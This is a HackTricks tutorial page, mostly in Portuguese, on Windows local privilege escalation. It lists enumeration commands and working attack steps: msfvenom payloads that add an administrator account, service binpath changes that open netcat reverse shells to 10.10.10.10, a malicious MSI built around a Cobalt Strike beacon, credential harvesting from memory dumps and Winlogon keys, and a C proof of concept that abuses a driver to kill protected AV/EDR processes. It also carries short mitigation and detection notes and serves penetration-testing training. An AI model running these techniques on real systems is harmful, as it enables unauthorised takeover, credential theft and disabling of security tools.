Windows Local Privilege Escalation

Reading time: 63 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Teoria Inicial do Windows

Access Tokens

Se você não sabe o que são Windows Access Tokens, leia a página a seguir antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulte a página a seguir para mais informações sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Se você não sabe o que são integrity levels no Windows, deve ler a página a seguir antes de continuar:

Integrity Levels

Controles de Segurança do Windows

Existem diferentes elementos no Windows que podem impedir que você enumere o sistema, execute executáveis ou até mesmo detectar suas atividades. Você deve ler a seguinte página e enumerar todos estes mecanismos de defesa antes de iniciar a enumeração de privilege escalation:

Windows Security Controls

Informações do Sistema

Enumeração de informações de versão

Verifique se a versão do Windows tem alguma vulnerabilidade conhecida (verifique também os patches aplicados).

bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploits por versão

This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the enorme superfície de ataque that a Windows environment presents.

No sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas tem watson embutido)

Localmente com informações do sistema

Repositórios Github de exploits:

Ambiente

Alguma credential/Juicy info salva nas variáveis de ambiente?

bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Histórico do PowerShell

bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Arquivos de transcrição do PowerShell

Você pode aprender como ativar isso em https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Detalhes das execuções do pipeline do PowerShell são registrados, incluindo comandos executados, invocações de comandos e trechos de scripts. Contudo, detalhes completos da execução e os resultados de saída podem não ser capturados.

Para ativar isso, siga as instruções na seção "Transcript files" da documentação, escolhendo "Module Logging" em vez de "Powershell Transcription".

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para visualizar os últimos 15 eventos dos logs do Powershell, você pode executar:

bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

É capturado um registro completo de atividade e do conteúdo integral da execução do script, garantindo que cada bloco de código seja documentado à medida que é executado. Esse processo preserva uma trilha de auditoria abrangente de cada atividade, valiosa para investigações forenses e para análise de comportamento malicioso. Ao documentar toda a atividade no momento da execução, são fornecidas informações detalhadas sobre o processo.

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Os eventos de log do Script Block podem ser encontrados no Visualizador de Eventos do Windows no caminho: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Para ver os últimos 20 eventos você pode usar:

bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configurações de Internet

bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Você pode comprometer o sistema se as atualizações não forem solicitadas usando httpS mas http.

Comece verificando se a rede usa um non-SSL WSUS update executando o seguinte no cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Ou o seguinte em PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Se você receber uma resposta como uma destas:

bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
bash
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ou Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" for igual a 1.

Então, é explorável. Se o último valor do registro for igual a 0, a entrada WSUS será ignorada.

Para explorar essa(s) vulnerabilidade(s) você pode usar ferramentas como: Wsuxploit, pyWSUS - Estas são scripts MiTM de exploit weaponized para injetar atualizações "falsas" no tráfego WSUS não-SSL.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basicamente, esta é a falha que este bug explora:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

Você pode explorar essa vulnerabilidade usando a ferramenta WSUSpicious (assim que estiver liberada).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Muitos agentes empresariais expõem uma superfície IPC localhost e um canal de atualização privilegiado. Se o enrollment puder ser coagido para um servidor do atacante e o updater confiar em uma rogue root CA ou em verificações de assinante fracas, um usuário local pode entregar um MSI malicioso que o serviço SYSTEM instala. Veja uma técnica generalizada (baseada na cadeia Netskope stAgentSvc – CVE-2025-0309) aqui:

Abusing Auto Updaters And Ipc

KrbRelayUp

Uma vulnerabilidade de local privilege escalation existe em ambientes Windows domain sob condições específicas. Essas condições incluem ambientes onde LDAP signing não é aplicado, usuários possuem direitos para configurar Resource-Based Constrained Delegation (RBCD), e a capacidade de usuários criarem computadores no domínio. É importante notar que esses requisitos são atendidos usando as configurações padrão.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Se esses 2 registradores estiverem habilitados (valor é 0x1), então usuários de qualquer privilégio podem instalar (executar) *.msi como NT AUTHORITY\SYSTEM.

bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Se você tiver uma sessão meterpreter, pode automatizar esta técnica usando o módulo exploit/windows/local/always_install_elevated

PowerUP

Use o comando Write-UserAddMSI do power-up para criar dentro do diretório atual um binário MSI do Windows para escalar privilégios. Este script grava um instalador MSI pré-compilado que solicita a adição de usuário/grupo (então você precisará de GIU acesso):

Write-UserAddMSI

Basta executar o binário criado para escalar privilégios.

MSI Wrapper

Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a ".bat" file if you just want to execute linhas de comando

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Gere com Cobalt Strike ou Metasploit um new Windows EXE TCP payload em C:\privesc\beacon.exe
  • Abra Visual Studio, selecione Create a new project e digite "installer" na caixa de busca. Selecione o projeto Setup Wizard e clique em Next.
  • Dê ao projeto um nome, como AlwaysPrivesc, use C:\privesc para o local, selecione place solution and project in the same directory, e clique em Create.
  • Continue clicando Next até chegar à etapa 3 de 4 (choose files to include). Clique Add e selecione o Beacon payload que você acabou de gerar. Em seguida clique em Finish.
  • Destaque o projeto AlwaysPrivesc no Solution Explorer e, em Properties, altere TargetPlatform de x86 para x64.
  • Existem outras propriedades que você pode alterar, como Author e Manufacturer, que podem fazer o aplicativo instalado parecer mais legítimo.
  • Clique com o botão direito no projeto e selecione View > Custom Actions.
  • Clique com o botão direito em Install e selecione Add Custom Action.
  • Dê um duplo clique em Application Folder, selecione seu arquivo beacon.exe e clique em OK. Isso garantirá que o beacon payload seja executado assim que o instalador for executado.
  • Em Custom Action Properties, altere Run64Bit para True.
  • Finalmente, build it.
  • Se o aviso File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' for exibido, certifique-se de que você definiu a plataforma para x64.

MSI Installation

Para executar a instalação do arquivo malicioso .msi em segundo plano:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explorar essa vulnerabilidade você pode usar: exploit/windows/local/always_install_elevated

Antivírus e Detectores

Configurações de Auditoria

Essas configurações determinam o que está sendo registrado, então você deve prestar atenção

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, é interessante saber para onde os logs são enviados.

bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS foi projetado para o gerenciamento de senhas do Administrator local, garantindo que cada senha seja única, aleatorizada e atualizada regularmente em computadores ingressados em um domínio. Essas senhas são armazenadas com segurança no Active Directory e só podem ser acessadas por usuários que tenham recebido permissões suficientes por meio de ACLs, permitindo que visualizem local admin passwords se autorizados.

LAPS

WDigest

Se ativo, senhas em plain-text são armazenadas no LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

A partir do Windows 8.1, a Microsoft introduziu proteção aprimorada para o Local Security Authority (LSA) para bloquear tentativas de processos não confiáveis de ler sua memória ou injetar código, aumentando a segurança do sistema.
More info about LSA Protection here.

bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard foi introduzido no Windows 10. Seu objetivo é proteger as credenciais armazenadas em um dispositivo contra ameaças como ataques pass-the-hash.| More info about Credentials Guard here.

bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials são autenticadas pela Local Security Authority (LSA) e utilizadas pelos componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, as domain credentials do usuário normalmente são estabelecidas.
Mais informações sobre Cached Credentials aqui.

bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuários e Grupos

Enumerar Usuários e Grupos

Você deve verificar se algum dos grupos dos quais você faz parte possui permissões interessantes

bash
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Se você pertencer a algum grupo privilegiado, pode escalar privilégios. Saiba sobre grupos privilegiados e como abusar deles para escalar privilégios aqui:

Privileged Groups

Manipulação de tokens

Saiba mais sobre o que é um token nesta página: Windows Tokens.
Confira a página a seguir para aprender sobre tokens interessantes e como abusá-los:

Abusing Tokens

Usuários logados / Sessões

bash
qwinsta
klist sessions

Pastas do usuário

bash
dir C:\Users
Get-ChildItem C:\Users

Política de Senhas

bash
net accounts

Obter o conteúdo do clipboard

bash
powershell -command "Get-Clipboard"

Processos em execução

Permissões de Arquivos e Pastas

Primeiro de tudo, ao listar os processos, verifique se há senhas na linha de comando do processo.
Verifique se você pode sobrescrever algum binário em execução ou se você tem permissões de escrita na pasta de binários para explorar possíveis DLL Hijacking attacks:

bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Sempre verifique se há possíveis electron/cef/chromium debuggers em execução, você pode abusar deles para escalar privilégios.

Verificando permissões dos binários dos processos

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Verificando permissões das pastas dos binários dos processos (DLL Hijacking)

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Você pode criar um memory dump de um processo em execução usando procdump do sysinternals. Serviços como FTP têm as credentials in clear text in memory. Tente fazer o dump da memória e ler as credentials.

bash
procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicativos GUI inseguros

Aplicativos sendo executados como SYSTEM podem permitir que um usuário execute um CMD ou navegue por diretórios.

Exemplo: "Windows Help and Support" (Windows + F1), pesquise por "command prompt", clique em "Click to open Command Prompt"

Serviços

Obter uma lista de serviços:

bash
net start
wmic service list brief
sc query
Get-Service

Permissões

Você pode usar sc para obter informações de um serviço

bash
sc qc <service_name>

É recomendado ter o binário accesschk da Sysinternals para verificar o nível de privilégio necessário para cada serviço.

bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Recomenda-se verificar se "Authenticated Users" podem modificar qualquer serviço:

bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Ativar serviço

Se você estiver recebendo este erro (por exemplo com SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Você pode ativá-lo usando

bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tenha em conta que o serviço upnphost depende de SSDPSRV para funcionar (para XP SP1)

Outra solução alternativa deste problema é executar:

sc.exe config usosvc start= auto

Modificar caminho do binário do serviço

No cenário em que o grupo "Authenticated users" possui SERVICE_ALL_ACCESS em um serviço, é possível modificar o binário executável do serviço. Para modificar e executar sc:

bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar serviço

bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilégios podem ser escalados através de várias permissões:

  • SERVICE_CHANGE_CONFIG: Permite reconfiguração do binário do serviço.
  • WRITE_DAC: Habilita reconfiguração de permissões, levando à capacidade de alterar configurações do serviço.
  • WRITE_OWNER: Permite aquisição de propriedade e reconfiguração de permissões.
  • GENERIC_WRITE: Concede a capacidade de alterar configurações do serviço.
  • GENERIC_ALL: Também concede a capacidade de alterar configurações do serviço.

Para a detecção e exploração desta vulnerabilidade, pode-se utilizar o exploit/windows/local/service_permissions.

Binários de serviços com permissões fracas

Verifique se você pode modificar o binário que é executado por um serviço ou se você tem permissões de escrita na pasta onde o binário está localizado (DLL Hijacking).
Você pode obter todos os binários que são executados por um serviço usando wmic (não em system32) e verificar suas permissões usando icacls:

bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Você também pode usar sc e icacls:

bash
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permissões de modificação do registro de serviços

Você deve verificar se consegue modificar algum registro de serviço.
Você pode verificar suas permissões sobre um registro de serviço executando:

bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Deve-se verificar se Authenticated Users ou NT AUTHORITY\INTERACTIVE possuem permissões FullControl. Se sim, o binário executado pelo serviço pode ser alterado.

Para alterar o caminho do binário executado:

bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Registro de serviços AppendData/AddSubdirectory permissões

Se você tiver essa permissão sobre um registro isso significa que você pode criar subregistros a partir deste. No caso de Windows services isto é suficiente para executar código arbitrário:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Se o caminho para um executável não estiver entre aspas, o Windows tentará executar cada parte antes de um espaço.

Por exemplo, para o caminho C:\Program Files\Some Folder\Service.exe o Windows tentará executar:

bash
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Liste todos os caminhos de serviço sem aspas, excluindo aqueles pertencentes a serviços integrados do Windows:

bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
bash
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Você pode detectar e explorar esta vulnerabilidade com metasploit: exploit/windows/local/trusted\_service\_path Você pode criar manualmente um binário de serviço com metasploit:

bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Ações de Recuperação

Windows permite que usuários especifiquem ações a serem tomadas caso um serviço falhe. Esse recurso pode ser configurado para apontar para um binary. Se esse binary for substituível, privilege escalation pode ser possível. Mais detalhes podem ser encontrados na documentação oficial.

Aplicações

Aplicações Instaladas

Verifique as permissões dos binaries (talvez você consiga sobrescrever um e escalate privileges) e das pastas (DLL Hijacking).

bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permissões de escrita

Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial ou se pode modificar algum binário que será executado por uma conta Administrator (schedtasks).

Uma forma de encontrar permissões fracas em pastas/arquivos no sistema é fazendo:

bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
bash
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
bash
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Executar na inicialização

Verifique se consegue sobrescrever algum registry ou binary que será executado por um usuário diferente.
Leia a página a seguir para aprender mais sobre locais interessantes de autoruns para escalate privileges:

Privilege Escalation with Autoruns

Drivers

Procure por possíveis third party weird/vulnerable drivers

bash
driverquery
driverquery.exe /fo table
driverquery /SI

Se um driver expõe uma primitiva de leitura/escrita arbitrária do kernel (comum em manipuladores IOCTL mal projetados), você pode escalar privilegiost roubando um token SYSTEM diretamente da memória do kernel. Veja a técnica passo a passo aqui:

Arbitrary Kernel Rw Token Theft

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Alguns drivers de terceiros assinados criam seu objeto de dispositivo com um SDDL forte via IoCreateDeviceSecure mas esquecem de setar FILE_DEVICE_SECURE_OPEN em DeviceCharacteristics. Sem essa flag, a DACL segura não é aplicada quando o dispositivo é aberto através de um caminho que contenha um componente extra, permitindo que qualquer usuário não privilegiado obtenha um handle usando um caminho de namespace como:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Uma vez que um usuário consegue abrir o dispositivo, IOCTLs privilegiados expostos pelo driver podem ser abusados para LPE e manipulação. Capacidades observadas na prática:

  • Retornar handles com acesso total para processos arbitrários (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Leitura/escrita raw de disco sem restrições (offline tampering, truques de persistência no boot).
  • Terminar processos arbitrários, incluindo Protected Process/Light (PP/PPL), permitindo matar AV/EDR a partir do user land via kernel.

Padrão mínimo de PoC (user mode):

c
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigações para desenvolvedores

  • Sempre defina FILE_DEVICE_SECURE_OPEN ao criar device objects destinados a serem restritos por um DACL.
  • Valide o contexto do chamador para operações privilegiadas. Adicione checagens PP/PPL antes de permitir o término de processos ou o retorno de handles.
  • Restrinja IOCTLs (access masks, METHOD_*, input validation) e considere brokered models em vez de privilégios diretos no kernel.

Detection ideas for defenders

  • Monitore aberturas em user-mode de nomes de dispositivo suspeitos (e.g., \ .\amsdk*) e sequências específicas de IOCTL indicativas de abuso.
  • Aplique a blocklist de drivers vulneráveis da Microsoft (HVCI/WDAC/Smart App Control) e mantenha suas próprias listas de allow/deny.

PATH DLL Hijacking

Se você tiver write permissions inside a folder present on PATH pode ser capaz de hijack a DLL carregada por um processo e escalate privileges.

Verifique as permissões de todas as pastas dentro do PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para mais informações sobre como abusar desta verificação:

Writable Sys Path +Dll Hijacking Privesc

Rede

Compartilhamentos

bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Verifique se há outros computadores conhecidos hardcoded no hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfaces de Rede & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Portas Abertas

Verifique se há serviços restritos acessíveis externamente

bash
netstat -ano #Opened ports?

Tabela de Roteamento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabela ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Consulte esta página para comandos relacionados ao Firewall (listar regras, criar regras, desativar, desativar...)

Mais comandos para enumeração de rede aqui

Windows Subsystem for Linux (wsl)

bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

O binário bash.exe também pode ser encontrado em C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Se você obtiver o usuário root, pode escutar em qualquer porta (na primeira vez que você usar nc.exe para escutar em uma porta, ele perguntará via GUI se nc deve ser permitido pelo firewall).

bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Para iniciar facilmente o bash como root, você pode tentar --default-user root

Você pode explorar o sistema de arquivos do WSL na pasta C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenciais do Windows

Credenciais do Winlogon

bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Gerenciador de credenciais / Windows Vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
O Windows Vault armazena credenciais de usuário para servidores, websites e outros programas nos quais o Windows pode efetuar o login dos usuários automaticamente. À primeira vista, isso pode parecer que os usuários podem armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente via navegadores. Mas não é assim.

